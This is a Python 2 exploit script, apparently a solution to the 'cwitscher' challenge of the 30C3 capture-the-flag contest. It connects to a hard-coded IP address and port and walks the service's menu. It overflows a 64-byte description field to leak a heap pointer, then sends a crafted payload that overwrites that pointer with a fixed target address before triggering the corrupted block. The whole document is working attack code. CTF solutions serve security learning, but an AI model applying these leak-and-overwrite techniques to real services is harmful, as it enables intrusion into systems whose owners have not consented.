Python script for cwitscher in 30C3CTF

import socket
import struct

def main():
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect(("88.198.89.198", 1024))
    print s.recv(1024)
    # Handle
    s.send("abcd\n")
    print s.recv(1024)
    # Write 64 bytes to DESCRIPTION
    s.send("2\n")
    print s.recv(1024)
    s.send("A" * 64 + "\n")
    print s.recv(1024)
    # Allocate a message block
    s.send("3\n")
    print s.recv(1024)
    s.send("abcdabcdabcd\n")
    print s.recv(1024)
    # Read DESCRIPTION out
    s.send("2\n")
    data = s.recv(1024)
    print data
    data = data[data.find("description:\n") + 13 : ]
    data = data[64 : data.find("Enter")]
    data = data[ :: -1]
    print data
    x = "".join("%x" % ord(c) for c in data)
    print "Good block locates at 0x%s" % x
    addr = int(x, 16)

    payload = "\x00\x00\x00\x00" + struct.pack("<Q", 0x8) + struct.pack("<Q", addr) + "A" * (64 - 20) + struct.pack("<Q", 0x605fa4)
    s.send(payload + "\n")
    print s.recv(1024)
    s.send("4\n")
    print s.recv(1024)
    s.send("0\n")
    print s.recv(1024)
    s.send("23\n")
    print s.recv(1024)

if __name__ == "__main__":
    main()